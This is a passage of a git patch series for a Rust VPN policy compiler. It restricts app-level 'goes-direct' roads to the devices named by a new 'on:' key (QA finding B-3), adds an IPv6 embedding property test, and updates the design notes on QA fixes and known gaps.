&Devices) -> BTreeSet { +/// The devices a subject covers: a person's are the devices they own; a group's, its members'; an app's, those +/// of its `on` (QA B-3: never every device of the mesh). +pub fn subject_devices( + subject: &Subject, + on: Option<&Subject>, + dir: &Directory, + devs: &Devices, +) -> BTreeSet { + if let Subject::App(_) = subject { + return match on { + Some(s @ (Subject::Person(_) | Subject::Group(_) | Subject::Device(_))) => { + subject_devices(s, None, dir, devs) + } + _ => BTreeSet::new(), + }; + } devs.devices .values() .filter(|d| match subject { @@ -107,7 +120,7 @@ pub fn subject_devices(subject: &Subject, dir: &Directory, devs: &Devices) -> BT .get(g) .is_some_and(|g| d.owner.as_ref().is_some_and(|o| g.members.contains(o))), Subject::Device(k) => &d.key == k, - Subject::App(_) => true, + Subject::App(_) => false, }) .map(|d| d.key.clone()) .collect() @@ -133,6 +146,7 @@ impl Index { fn devices_of( &self, subject: &Subject, + on: Option<&Subject>, dir: &Directory, devs: &Devices, ) -> BTreeSet { @@ -156,7 +170,12 @@ impl Index { .then(|| k.clone()) .into_iter() .collect(), - Subject::App(_) => devs.devices.keys().cloned().collect(), + Subject::App(_) => match on { + Some(s @ (Subject::Person(_) | Subject::Group(_) | Subject::Device(_))) => { + self.devices_of(s, None, dir, devs) + } + _ => BTreeSet::new(), + }, } } } @@ -172,19 +191,23 @@ fn check( let p = |field: &str, code, msg: String| { Problem::error(&road.path, Some(field), code, msg).at(road.line_of(field)) }; - match &road.subject { + let (field, who) = match (&road.subject, &road.on) { + (Subject::App(_), Some(on)) => ("on", on), + (s, _) => ("subject", s), + }; + match who { Subject::Person(id) if !dir.people.contains_key(id) => out.push(p( - "subject", + field, r::SUBJECT_UNKNOWN, format!("person `{id}` is not in directory.json"), )), Subject::Group(id) if !dir.groups.contains_key(id) => out.push(p( - "subject", + field, r::SUBJECT_UNKNOWN, format!("group `{id}` is not in directory.json"), )), Subject::Device(k) if !devs.devices.contains_key(k) => out.push(p( - "subject", + field, r::SUBJECT_UNKNOWN, format!("device {} is not in devices.json", k.short()), )), @@ -370,7 +393,7 @@ pub fn compile(store: &Store, now: Instant) -> Compiled { let mut roads: Vec<&Road> = store.roads.iter().collect(); roads.sort_by(|a, b| a.id.cmp(&b.id)); for road in roads { - let subject = index.devices_of(&road.subject, dir, devs); + let subject = index.devices_of(&road.subject, road.on.as_ref(), dir, devs); let problems = check(road, dir, devs, &subject); if !problems.is_empty() { out.problems.extend(problems); diff --git a/crates/roads/src/road.rs b/crates/roads/src/road.rs index bdd0368..232281c 100644 --- a/crates/roads/src/road.rs +++ b/crates/roads/src/road.rs @@ -15,12 +15,12 @@ use std::fmt; pub const MAX_FILE: usize = 256 * 1024; pub const REQUIRED: [&str; 4] = ["id", "subject", "verb", "created"]; -pub const OPTIONAL: [&str; 5] = ["object", "until", "ports", "via", "classic"]; +pub const OPTIONAL: [&str; 6] = ["on", "object", "until", "ports", "via", "classic"]; /// Optional keys whose absence is their widest value; present but empty is `key.empty`. pub const NARROWING: [&str; 2] = ["until", "ports"]; /// The canonical key order. -pub const ORDER: [&str; 9] = [ - "id", "subject", "verb", "object", "until", "ports", "via", "classic", "created", +pub const ORDER: [&str; 10] = [ + "id", "subject", "on", "verb", "object", "until", "ports", "via", "classic", "created", ]; #[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash)] @@ -282,6 +282,9 @@ pub struct Road { pub path: String, pub id: RoadId, pub subject: Subject, + /// For an `app:` subject only: whose devices the app's road applies to (a person, a group or a device). + /// Without it an app road would change the tunnel of every device in the mesh (QA B-3). + pub on: Option, pub verb: Verb, pub object: Option, pub until: Option, @@ -310,7 +313,15 @@ impl Road { Subject::Device(k) => format!("device:{}", dev(k)), s => s.to_string(), }; - let mut out = format!("{subject} {}", self.verb); + let mut out = subject; + if let Some(on) = &self.on { + let on = match on { + Subject::Device(k) => format!("device:{}", dev(k)), + s => s.to_string(), + }; + out.push_str(&format!(" on {on}")); + } + out.push_str(&format!(" {}", self.verb)); match &self.object { Some(Place::Device(k)) => out.push_str(&format!(" device:{}", dev(k))), Some(Place::Exit(k)) => out.push_str(&format!(" exit:{}", dev(k))), @@ -351,6 +362,9 @@ impl Road { }; field("id", self.id.to_string()); field("subject", scalar(self.subject.to_string())); + if let Some(on) = &self.on { + field("on", scalar(on.to_string())); + } field("verb", self.verb.to_string()); if let Some(o) = &self.object { field("object", scalar(o.to_string())); @@ -590,6 +604,55 @@ impl Road { } }); + // `on` belongs to an app subject, and an app subject needs it (QA B-3). + let is_app = matches!(subject, Some(Subject::App(_))); + let on = if subject.is_some() && !is_app { + if line_of.contains_key("on") { + problems.push(p( + "on", + r::KEY_FORBIDDEN, + "only an app: road takes `on`".into(), + )); + } + None + } else if is_app { + match single("on", &mut problems) { + None => { + problems.push( + Problem::error( + path, + Some("on"), + r::KEY_MISSING, + "an app: road says whose devices it is for: `on: person:`, `group:` or `device:`", + ) + .at(at("on")), + ); + None + } + Some(s) => match parse_ref(&s) { + Err((code, m)) => { + problems.push(p("on", code, m)); + None + } + Ok(Ref::S(sub @ (Subject::Person(_) | Subject::Group(_)))) => Some(sub), + Ok(Ref::P(Place::Device(d))) => Some(Subject::Device(d)), + Ok(rf) => { + problems.push(p( + "on", + r::SUBJECT_KIND, + format!( + "`on` takes person, group or device, not {}", + rf.kind().name() + ), + )); + None + } + }, + } + } else { + None + }; + if let Some(v) = verb { for k in OPTIONAL { if !v.takes(k) && line_of.contains_key(k) { @@ -782,6 +845,7 @@ impl Road { path: path.to_string(), id, subject, + on, verb, object, until, diff --git a/crates/roads/tests/fixtures/home/expected/friend-node.json b/crates/roads/tests/fixtures/home/expected/friend-node.json index 4309c0d..24c44ac 100644 --- a/crates/roads/tests/fixtures/home/expected/friend-node.json +++ b/crates/roads/tests/fixtures/home/expected/friend-node.json @@ -39,17 +39,6 @@ "dns": [], "exit": null, "kill_switch": null, - "direct": [ - { - "app": "steam", - "subnet": "0.0.0.0/0", - "except": [ - "100.96.0.7/32" - ], - "roads": [ - "e5yj1s" - ] - } - ], + "direct": [], "custom": [] } diff --git a/crates/roads/tests/fixtures/home/expected/jana-laptop.json b/crates/roads/tests/fixtures/home/expected/jana-laptop.json index 339e047..0d6d50b 100644 --- a/crates/roads/tests/fixtures/home/expected/jana-laptop.json +++ b/crates/roads/tests/fixtures/home/expected/jana-laptop.json @@ -38,18 +38,6 @@ ], "exit": null, "kill_switch": null, - "direct": [ - { - "app": "steam", - "subnet": "0.0.0.0/0", - "except": [ - "100.96.0.2/32", - "100.96.1.2/32" - ], - "roads": [ - "e5yj1s" - ] - } - ], + "direct": [], "custom": [] } diff --git a/crates/roads/tests/fixtures/home/expected/jana-phone.json b/crates/roads/tests/fixtures/home/expected/jana-phone.json index 6f84c62..f24bac6 100644 --- a/crates/roads/tests/fixtures/home/expected/jana-phone.json +++ b/crates/roads/tests/fixtures/home/expected/jana-phone.json @@ -38,18 +38,6 @@ ], "exit": null, "kill_switch": null, - "direct": [ - { - "app": "steam", - "subnet": "0.0.0.0/0", - "except": [ - "100.96.0.2/32", - "100.96.1.2/32" - ], - "roads": [ - "e5yj1s" - ] - } - ], + "direct": [], "custom": [] } diff --git a/crates/roads/tests/fixtures/home/expected/petr-phone.json b/crates/roads/tests/fixtures/home/expected/petr-phone.json index 681be0f..975bd78 100644 --- a/crates/roads/tests/fixtures/home/expected/petr-phone.json +++ b/crates/roads/tests/fixtures/home/expected/petr-phone.json @@ -34,15 +34,6 @@ ] }, "kill_switch": null, - "direct": [ - { - "app": "steam", - "subnet": "0.0.0.0/0", - "except": [], - "roads": [ - "e5yj1s" - ] - } - ], + "direct": [], "custom": [] } diff --git a/crates/roads/tests/fixtures/home/expected/router.json b/crates/roads/tests/fixtures/home/expected/router.json index 99dd17a..60af414 100644 --- a/crates/roads/tests/fixtures/home/expected/router.json +++ b/crates/roads/tests/fixtures/home/expected/router.json @@ -29,19 +29,7 @@ "dns": [], "exit": null, "kill_switch": null, - "direct": [ - { - "app": "steam", - "subnet": "0.0.0.0/0", - "except": [ - "100.96.0.2/32", - "100.96.1.2/32" - ], - "roads": [ - "e5yj1s" - ] - } - ], + "direct": [], "custom": [ { "road": "x1d7qa", diff --git a/crates/roads/tests/fixtures/home/roads/e5yj1s-steam-goes-direct.md b/crates/roads/tests/fixtures/home/roads/e5yj1s-steam-goes-direct.md index 6f39e85..5b8fe43 100644 --- a/crates/roads/tests/fixtures/home/roads/e5yj1s-steam-goes-direct.md +++ b/crates/roads/tests/fixtures/home/roads/e5yj1s-steam-goes-direct.md @@ -1,8 +1,9 @@ --- id: e5yj1s subject: app:steam +on: person:mark verb: goes-direct object: subnet:0.0.0.0/0 created: 2026-11-21T18:30:00+01:00 --- -Games do not go through the tunnel. +Mark's games do not go through the tunnel. diff --git a/crates/roads/tests/fixtures/invalid/expect.txt b/crates/roads/tests/fixtures/invalid/expect.txt index 29de0f6..65717d6 100644 --- a/crates/roads/tests/fixtures/invalid/expect.txt +++ b/crates/roads/tests/fixtures/invalid/expect.txt @@ -48,6 +48,10 @@ road a00046-until-comment.md key.empty until road a00047-empty-ports.md key.empty ports road a00048-direct-mesh.md direct.mesh object road a00049-direct-tunnelled.md direct.tunnelled object +road a00050-app-everyone.md key.missing on +road a00051-on-not-app.md key.forbidden on +road a00052-on-nobody.md subject.unknown on +road a00053-on-service.md subject.kind on directory unknown-field.directory.json snapshot.json - directory format-two.directory.json snapshot.format format directory bad-person-id.directory.json directory.id people[3].id diff --git a/crates/roads/tests/fixtures/invalid/roads/a00050-app-everyone.md b/crates/roads/tests/fixtures/invalid/roads/a00050-app-everyone.md new file mode 100644 index 0000000..04f0844 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00050-app-everyone.md @@ -0,0 +1,7 @@ +--- +id: a00050 +subject: app:steam +verb: goes-direct +object: subnet:0.0.0.0/0 +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00051-on-not-app.md b/crates/roads/tests/fixtures/invalid/roads/a00051-on-not-app.md new file mode 100644 index 0000000..066379e --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00051-on-not-app.md @@ -0,0 +1,8 @@ +--- +id: a00051 +subject: person:jana +on: person:mark +verb: goes-direct +object: subnet:0.0.0.0/0 +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00052-on-nobody.md b/crates/roads/tests/fixtures/invalid/roads/a00052-on-nobody.md new file mode 100644 index 0000000..512f0ac --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00052-on-nobody.md @@ -0,0 +1,8 @@ +--- +id: a00052 +subject: app:steam +on: person:nobody +verb: goes-direct +object: subnet:0.0.0.0/0 +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00053-on-service.md b/crates/roads/tests/fixtures/invalid/roads/a00053-on-service.md new file mode 100644 index 0000000..4da034f --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00053-on-service.md @@ -0,0 +1,8 @@ +--- +id: a00053 +subject: app:steam +on: service:photos.home.arpa +verb: goes-direct +object: subnet:0.0.0.0/0 +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/least_privilege.rs b/crates/roads/tests/least_privilege.rs index d09ad63..5aa7114 100644 --- a/crates/roads/tests/least_privilege.rs +++ b/crates/roads/tests/least_privilege.rs @@ -68,7 +68,8 @@ enum Subj { Person(usize), Group(usize), Device(usize), - App, + /// An app on a person's devices (QA B-3). + App(usize), } #[derive(Clone, Debug, PartialEq)] @@ -145,7 +146,7 @@ fn world(bytes: &[u8]) -> World { // Indices one past the end name things that do not exist. let subject = match (s.n(4), &verb) { (_, Verb::Custom) => Subj::Device(s.n(n_dev + 1)), - (3, Verb::Direct) => Subj::App, + (3, Verb::Direct) => Subj::App(s.n(people + 1)), (0, _) | (3, _) => Subj::Person(s.n(people + 1)), (1, _) => Subj::Group(s.n(3)), _ => Subj::Device(s.n(n_dev + 1)), @@ -302,7 +303,7 @@ fn to_store(w: &World, roads: &[(usize, &R)], when: Instant) -> Store { Subj::Person(p) => format!("subject: person:p{p}\n"), Subj::Group(g) => format!("subject: group:g{g}\n"), Subj::Device(d) => format!("subject: device:{}\n", dev_key(*d)), - Subj::App => "subject: app:games\n".into(), + Subj::App(p) => format!("subject: app:games\non: person:p{p}\n"), }; t += match r.verb { Verb::Reach => "verb: can-reach\n", @@ -355,7 +356,7 @@ fn subj_devs(w: &World, s: &Subj) -> BTreeSet { .get(*g) .is_some_and(|m| w.devs[d].owner.is_some_and(|o| m.contains(&o))), Subj::Device(x) => *x == d, - Subj::App => true, + Subj::App(p) => w.devs[d].owner == Some(*p), }) .collect() } diff --git a/crates/roads/tests/qa_findings.rs b/crates/roads/tests/qa_findings.rs index cc634fb..4e61ae7 100644 --- a/crates/roads/tests/qa_findings.rs +++ b/crates/roads/tests/qa_findings.rs @@ -364,3 +364,29 @@ fn f09_an_emptied_narrowing_condition_is_an_error() { ); } } + +/// B-3. An `app:` road used to reach every device in the mesh, other people's included: `app:steam goes-direct +/// 0.0.0.0/0` changed the tunnel of Jana's phone, Petr's friend node and a classic router. An app road now names +/// whose devices it is for (`on:`), and reaches only those. +#[test] +fn b3_an_app_road_reaches_only_the_devices_it_is_on() { + let c = Parts::home().compile(); + let steam = |k: u8| c.plans[&key(k)].direct.iter().any(|d| d.app.is_some()); + assert!(steam(2), "mark's home server runs the road"); + for (k, who) in [ + (3, "jana-phone"), + (4, "jana-laptop"), + (5, "router"), + (6, "friend-node"), + (7, "petr-phone"), + ] { + assert!(!steam(k), "{who} is not mark's, and its tunnel changed"); + } + // The same road for Jana moves to Jana's devices. + let text = Parts::home() + .road_text("e5yj1s") + .replace("on: person:mark", "on: person:jana"); + let c = Parts::home().replace_road("e5yj1s", &text).compile(); + let steam = |k: u8| c.plans[&key(k)].direct.iter().any(|d| d.app.is_some()); + assert!(steam(3) && steam(4) && !steam(2) && !steam(6)); +} diff --git a/crates/roads/tests/rename.rs b/crates/roads/tests/rename.rs index 1025011..4c10ca1 100644 --- a/crates/roads/tests/rename.rs +++ b/crates/roads/tests/rename.rs @@ -264,7 +264,7 @@ impl Renaming { { let v2 = match k { "id" => self.new_of(v), - "subject" | "object" | "via" => self.reference(v), + "subject" | "on" | "object" | "via" => self.reference(v), _ => v.to_string(), }; out.push_str(&format!("{k}: {v2}\n")); diff --git a/docs/FORMATS.md b/docs/FORMATS.md index 49d0440..60bdd3c 100644 --- a/docs/FORMATS.md +++ b/docs/FORMATS.md @@ -56,6 +56,7 @@ is not `key: value`, or a bad quoted string, is `yaml.syntax`. |:--|:--|:--|:--| | `id` | yes | 6 characters of `0123456789abcdefghjkmnpqrstvwxyz` (no `i l o u`), random | `id.format`; must equal the file name's prefix (`id.file-name`); unique in the store (`id.duplicate`, both files grant nothing) | | `subject` | yes | a reference (below): `person:`, `group:`, `device:` or `app:` | `ref.format`, `subject.kind` (not allowed for the verb), `subject.unknown` (not in the snapshots) | +| `on` | yes for an `app:` subject, not allowed otherwise | a reference: `person:`, `group:` or `device:`: whose devices the app road applies to | `key.missing`, `key.forbidden`, `ref.format`, `subject.kind`, `subject.unknown`. Without it an app road would change the tunnel of every device in the mesh, other people's included (QA B-3) | | `verb` | yes | `can-reach`, `exits-through`, `goes-direct`, `never-online-without`, `custom` | `verb.unknown` | | `object` | yes, except `custom` (where it is not allowed) | a reference: `device:`, `subnet:`, `service:` or `exit:` | `ref.format`, `object.kind`, `object.unknown`, `object.not-exit`, `subnet.not-canonical`, `subnet.unrouted`, `service.shared` (a service that shares its address and a port with another: its rule would open both, QA F-01); a `goes-direct` subnet other than `/0` that holds a mesh address is `direct.mesh` (mesh traffic never goes direct, QA F-02) | | `until` | no | RFC 3339 with an offset: `2026-11-29T23:59:59+01:00` or `…Z`; exclusive | `until.format`; `until <= now` makes the road *inactive* (`road.expired`) | @@ -77,7 +78,7 @@ never widens a road (QA F-09). `ports: []` is `ports.format`. | `person:` | a person in `directory.json` | opaque: 1–64 of `[A-Za-z0-9_-]` (no people directory exists in Fundamentum yet) | | `group:` | a group in `directory.json` | as a person id | | `device:` | a device in `devices.json` | the Tessera device subkey: 32-byte Ed25519 public key, base64url without padding, 43 characters, canonical | -| `app:` | a Domi app on every device | the Tessera id: 1–32 of `[a-z0-9-]`, not starting or ending with `-` | +| `app:` | a Domi app, on the devices its road's `on` names (QA B-3) | the Tessera id: 1–32 of `[a-z0-9-]`, not starting or ending with `-` | | `subnet:` | an IPv4 or IPv6 network | canonical: host bits zero (`192.168.100.0/24`, not `192.168.100.7/24`) and in the usual text form; IPv6 that embeds IPv4 (`::ffff:0:0/96`, `::/96`, `64:ff9b::/96`, `64:ff9b:1::/48`, `2002::/16`) is `ref.format`: write the IPv4 subnet | | `service:` | an Ianitor host, served by a device in `devices.json` | Ianitor's hostname rules: lowercase, labels of `[a-z0-9-]` not starting or ending with `-`, at most 63 per label and 253 in all, no wildcard, no trailing dot, not an IP address | | `exit:` | a device with `exit: true` | a device key | @@ -97,7 +98,7 @@ Everything after the closing `---`. ### Canonical form -The form `via` writes, and which reads back byte for byte: `---`, then the keys in the order `id, subject, verb, +The form `via` writes, and which reads back byte for byte: `---`, then the keys in the order `id, subject, on, verb, object, until, ports, via, classic, created`, absent keys left out, scalars plain when they read back unchanged and double-quoted otherwise, `ports` as a flow list, LF line endings, `---`, then the body. A custom road's body is ```` ```raw\n ```` + raw + ```` ```\n ````. From 73426592e46f7f90194998ae11fa5127545b6bea Mon Sep 17 00:00:00 2001 From: mnovak Date: Wed, 25 Nov 2026 09:07:24 +0100 Subject: [PATCH 19/25] [roads] QA F-10: IPv6 is checked by embedding the property's worlds into fd00::/96 The least-privilege oracle works in u32, so P-1 never saw an IPv6 address. P-6v6 (1,000 cases) writes the same generated world with every IPv4 address a as fd00::a and every /L as /(L+96) (the default route as ::/0), compiles both, and requires the IPv6 plans to equal the IPv4 plans mapped the same way, with the same problems. So every IPv6 path behaves like the IPv4 one P-1 checks against the oracle. Mutation-checked: IPv6 hosts as /127 fails it at once. --- crates/roads/tests/least_privilege.rs | 120 +++++++++++++++++++++++++- 1 file changed, 119 insertions(+), 1 deletion(-) diff --git a/crates/roads/tests/least_privilege.rs b/crates/roads/tests/least_privilege.rs index 5aa7114..b289c2d 100644 --- a/crates/roads/tests/least_privilege.rs +++ b/crates/roads/tests/least_privilege.rs @@ -15,6 +15,12 @@ //! sending side is exactly what a road names (no supernet, QA R-02); every firewall source sits on its own //! peer as a /32 (no spoofing, QA R-10); invalid and expired roads change no byte; removing a road or moving //! `now` forward never adds a rule (P-3, P-4); `explain` agrees with the firewall (P-7). +//! +//! IPv6 (QA F-10): the oracle works in `u32`, so IPv6 is checked by embedding instead. P-6v6 writes the same +//! world with every IPv4 address `a` replaced by `fd00::a` and every prefix `/L` by `/(L+96)` (the default +//! route by `::/0`), compiles both, maps the IPv4 plans through the same embedding and requires them to be +//! equal to the IPv6 plans: so every IPv6 path (`/128` hosts, nesting, overlap, `except`, exits, the kill +//! switch) behaves exactly like the IPv4 one that P-1 checks against the oracle, plus the same problems. use jiff::{SignedDuration, Timestamp as Instant}; use proptest::prelude::*; @@ -249,6 +255,13 @@ fn ports_text(p: &[(&str, u16, u16)]) -> String { /// The world as store bytes, written here without the library's writer. fn to_store(w: &World, roads: &[(usize, &R)], when: Instant) -> Store { + let (files, directory, devices) = store_parts(w, roads, when); + Store::from_parts(&files, Some(directory.as_bytes()), Some(devices.as_bytes())) +} + +type Parts = (Vec<(String, Vec)>, String, String); + +fn store_parts(w: &World, roads: &[(usize, &R)], when: Instant) -> Parts { let people: Vec = (0..w.people) .map(|p| format!(r#"{{"id":"p{p}","name":"P{p}"}}"#)) .collect(); @@ -342,7 +355,87 @@ fn to_store(w: &World, roads: &[(usize, &R)], when: Instant) -> Store { }) .collect(); let _ = when; - Store::from_parts(&files, Some(directory.as_bytes()), Some(devices.as_bytes())) + (files, directory, devices) +} + +// ------------------------------------------------------------------ IPv6 by embedding (QA F-10) + +fn v6_of(a: std::net::Ipv4Addr) -> std::net::Ipv6Addr { + std::net::Ipv6Addr::from(0xfd00_u128 << 112 | u32::from(a) as u128) +} + +/// One IPv4 address or network, embedded; anything else unchanged. +fn embed_token(t: &str) -> Option { + let (a, len) = match t.split_once('/') { + Some((a, l)) => (a, Some(l.parse::().ok().filter(|l| *l <= 32)?)), + None => (t, None), + }; + let a: std::net::Ipv4Addr = a.parse().ok()?; + if a.to_string() != t.split('/').next().unwrap() { + return None; + } + Some(match len { + None => v6_of(a).to_string(), + Some(0) if a.is_unspecified() => "::/0".to_string(), + Some(l) => format!("{}/{}", v6_of(a), l + 96), + }) +} + +/// Replaces every IPv4 address or network in `text` (a maximal run of digits, dots and one slash). +fn embed_text(text: &str) -> String { + let mut out = String::new(); + let mut run = String::new(); + let flush = |run: &mut String, out: &mut String| { + out.push_str(&embed_token(run).unwrap_or_else(|| run.clone())); + run.clear(); + }; + for c in text.chars() { + if c.is_ascii_digit() || c == '.' || (c == '/' && !run.is_empty() && !run.contains('/')) { + run.push(c); + } else { + flush(&mut run, &mut out); + out.push(c); + } + } + flush(&mut run, &mut out); + out +} + +fn embed_parts((files, dir, devs): Parts) -> Parts { + ( + files + .into_iter() + .map(|(n, b)| (n, embed_text(&String::from_utf8(b).unwrap()).into_bytes())) + .collect(), + dir, + embed_text(&devs), + ) +} + +/// A plan as JSON with IPv4 embedded (when `embed`), the two default routes made one spelling, and every +/// list sorted, so plans of the two families compare. +fn normal(plan: &roads::Plan, embed: bool) -> serde_json::Value { + fn walk(v: &mut serde_json::Value, embed: bool) { + match v { + serde_json::Value::String(s) => { + // Raw blocks are free text: embed inside them too, as the store's text was. + if embed { + *s = embed_text(s); + } else if s == "0.0.0.0/0" { + *s = "::/0".into(); + } + } + serde_json::Value::Array(a) => { + a.iter_mut().for_each(|x| walk(x, embed)); + a.sort_by_key(|x| x.to_string()); + } + serde_json::Value::Object(m) => m.values_mut().for_each(|x| walk(x, embed)), + _ => {} + } + } + let mut v = serde_json::to_value(plan).unwrap(); + walk(&mut v, embed); + v } // ------------------------------------------------------------------ the oracle (no roads code) @@ -654,6 +747,31 @@ proptest! { } } +proptest! { + #![proptest_config(ProptestConfig { cases: 1_000, failure_persistence: None, .. ProptestConfig::default() })] + + #[test] + fn p6v6_ipv6_compiles_like_ipv4(bytes in proptest::collection::vec(any::(), 64..400)) { + CASES.fetch_add(1, Ordering::Relaxed); + let w = world(&bytes); + let all: Vec<(usize, &R)> = w.roads.iter().enumerate().collect(); + let v4 = store_parts(&w, &all, now()); + let v6 = embed_parts(v4.clone()); + prop_assert!(!v6.2.contains("\"100.96."), "the device list was not embedded"); + let s4 = Store::from_parts(&v4.0, Some(v4.1.as_bytes()), Some(v4.2.as_bytes())); + let s6 = Store::from_parts(&v6.0, Some(v6.1.as_bytes()), Some(v6.2.as_bytes())); + let (c4, c6) = (compile(&s4, now()), compile(&s6, now())); + prop_assert!(c6.has_plans(), "the IPv6 snapshots are valid: {:?}", c6.problems.iter().filter(|p| !p.path.starts_with("roads/")).collect::>()); + let key = |p: &roads::Problem| (p.path.clone(), p.field.clone(), p.code, p.severity); + let k4: BTreeSet<_> = c4.problems.iter().map(key).collect(); + let k6: BTreeSet<_> = c6.problems.iter().map(key).collect(); + prop_assert_eq!(k4, k6, "IPv4 and IPv6 report different problems"); + for (k, p4) in &c4.plans { + prop_assert_eq!(normal(p4, true), normal(&c6.plans[k], false), "{} compiles differently in IPv6", p4.name); + } + } +} + proptest! { #![proptest_config(ProptestConfig { cases: 500, failure_persistence: None, .. ProptestConfig::default() })] From f21f8d59fcbc3dfe7548b8b70a0cfb4e07ceda65 Mon Sep 17 00:00:00 2001 From: mnovak Date: Wed, 25 Nov 2026 09:09:01 +0100 Subject: [PATCH 20/25] [docs] Day 2 after QA: what each finding changed, the gaps left, open question 1 answered 02_via-core.md now describes the model as built after the QA fixes (service addresses, app on:, fail-closed kill switch, the tunnel winning over going direct, dangling references, empty narrowing keys, missing roads/), maps every finding to its resolution, and lists what is recorded rather than fixed: B-1 replay (Day 3 proto v2), a kill-switch file that does not parse, the app-level /0 bypass, case-sensitive ids, no Linux run, and explain/check as admin, which blocks the Day 5 web view. --- docs/02_via-core.md | 84 +++++++++++++++++++++++++++++++++++++++------ 1 file changed, 73 insertions(+), 11 deletions(-) diff --git a/docs/02_via-core.md b/docs/02_via-core.md index efb52e8..572ce3d 100644 --- a/docs/02_via-core.md +++ b/docs/02_via-core.md @@ -53,7 +53,7 @@ change. |:--|:--|:--|:--|:--| | `can-reach` | person, group, device | device, subnet, service | `until`, `ports`, `via`, `classic` | peers both ways, allowed IPs, an inbound or forward firewall rule on the far side, DNS for a service | | `exits-through` | person, group, device | exit | `until`, `classic` | a peer with `0.0.0.0/0, ::/0`, a forward rule to the internet on the exit | -| `goes-direct` | person, group, device, app | subnet | `until` | nothing: the subnet (or the app) bypasses the tunnel | +| `goes-direct` | person, group, device, app (with `on`) | subnet | `until` | nothing: the subnet (or the app) bypasses the tunnel, except what the plan tunnels | | `never-online-without` | person, group, device | exit | `until` | nothing: the kill switch | | `custom` | device | — | `until`, `classic` | nothing the compiler checks: the raw block is carried, verbatim and labelled | @@ -63,6 +63,12 @@ change. the road saying out loud that this path is not post-quantum. Without it the road grants nothing. - `until` is exclusive and compared with `now`, which is a parameter. Each plan carries `expires`, the earliest `until` of the roads it was built from, so the engine knows when to compile again. +- An `app:` subject names whose devices it is for with `on:` (a person, group or device), and reaches only + those; without `on:` it is refused (QA B-3). +- A service is reached at its **own** mesh address when `devices.json` gives it one, else at its device's. A + road to a service that shares that address and a port with another service is refused (`service.shared`): + a firewall sees addresses and ports, never hostnames, so its rule would open the other service too (QA F-01). + A `device:` road reaches the whole device: its own address and its services' own addresses. ### The compiler @@ -75,7 +81,10 @@ now ───────────────────────── - **Deny by default.** A road with any error grants nothing. A road that is valid but expired, or whose subject has no devices, grants nothing and is reported as *inactive* with its reason. If `directory.json` or - `devices.json` has an error, **no plan is produced at all**. + `devices.json` has a *structural* error, **no plan is produced at all**. A dangling reference (a group member + or a device owner that is no longer a person) is reported and removes only itself: the member leaves the + group, the device becomes ownerless (QA F-04). An empty `until:` or `ports:` is an error, never "absent", + because absent is their widest value (QA F-09). A store without `roads/` is an error too (QA F-07). - **Allowed IPs** are cryptokey routing, not permission. The permission is the firewall rule on the far side: a road from Jana's phone to the home server gives the phone a peer for the server's address, gives the server a peer for the phone's address (so replies are accepted), and gives the server one inbound rule from the @@ -84,7 +93,16 @@ now ───────────────────────── everything except private, link-local, loopback, CGNAT and ULA ranges, so an exit user does not reach the exit's LAN. A device with active exit roads to two different exits gets neither, and both are reported. - **Kill switch fails closed.** Two kill-switch roads naming different exits on one device give a kill switch - through no exit at all (only the mesh), never none. + through no exit at all (only the mesh), never none. So does a kill-switch road with an error, for example + when its exit stops being one: it is reported, and still applied in the closed form (QA F-03). An expired + kill switch ends as written. +- **The tunnel wins over going direct.** A `goes-direct` subnet (other than `/0`) that holds a mesh address is + refused (`direct.mesh`). Per device, a direct subnet inside a net the plan tunnels is dropped + (`direct.tunnelled`); one that holds tunnelled nets keeps them in the tunnel, listed in `direct[].except`, so + no platform has to guess which route wins (QA F-02). A platform that cannot honour `except` (an app-level + bypass) must not apply the entry. +- **Mesh addresses are never internet addresses** (QA F-08), and a road from IPv4 devices to an IPv6 place (or + the other way) gives those devices nothing and says so (`road.family`, QA F-06). - **Deterministic.** Every collection is a `BTreeMap`/`BTreeSet` or a sorted `Vec`; road files are read in file name order; the same input gives byte-identical JSON and CBOR. @@ -98,7 +116,9 @@ now ───────────────────────── | A custom raw block widens access | an `AllowedIPs` line the compiler never checked | raw blocks are never merged into peers; they sit in `Plan.custom`, labelled; Day 3 must not apply them without an expert's confirmation | | Non-determinism (hash order, file order, locale) | two compiles disagree; signatures do not match | no `HashMap` on any output path; byte-identical test with shuffled input; golden files | | The YAML subset parser accepts a construct it should refuse | a road file means something other than it reads | Pensum's subset, refused constructs each have a fixture | -| A kill switch road with an error turns the kill switch off | traffic leaks when the tunnel drops | conflicting kill switches fail closed; an *invalid* kill-switch road is an open question below | +| A kill switch road with an error turns the kill switch off | traffic leaks when the tunnel drops | conflicting and erroneous kill-switch roads both fail closed (QA F-03); a kill-switch file that does not *parse* is not in the store and is only reported (gap below) | +| A service road opens a neighbour on the same host and port | "Jana can reach Photos" also reaches Git | services get their own mesh address, or the road is refused (`service.shared`, QA F-01) | +| Going direct pulls tunnelled traffic out of the tunnel | home-LAN or mesh traffic in the clear on a hostile network | `direct.mesh`, `direct.tunnelled`, `direct[].except` (QA F-02) | | The people directory format changes | person ids no longer match | `PersonId` is one opaque newtype; changing it is one function | ## Gaps (what this day does not do) @@ -106,14 +126,29 @@ now ───────────────────────── - Plans are not signed: Day 3 signs them with Tessera; `proto` leaves room (a new message version). - No people directory exists in Fundamentum; `directory.json` is our own snapshot format until it does. - Groups are **flat**: members are people, never groups, so there is no nesting to resolve and no cycle - (QA R-13 to R-15 do not arise; a group id among the members is `directory.member`). + (QA R-13 to R-15 do not arise; a group id among the members is left out, `directory.member-unknown`). +- **Plans can be replayed (QA B-1).** Proto v1 has no serial and no `not_after`. Day 3's signed v2 must carry a + monotonic serial, which a device refuses at or below the last one it applied (persisted across restarts), + and `not_after`. Recorded here, not fixed: v1 is unsigned by design. +- **A kill-switch road that does not parse** (a typo in a key) is not in the store, so nothing applies its + restriction; `via check` reports it as an error. Failing closed would need the subject of a file that did not + parse. Day 4's editor must not save such a file. +- **An app-level `goes-direct` to `/0`** keeps only the plan's tunnelled nets in the 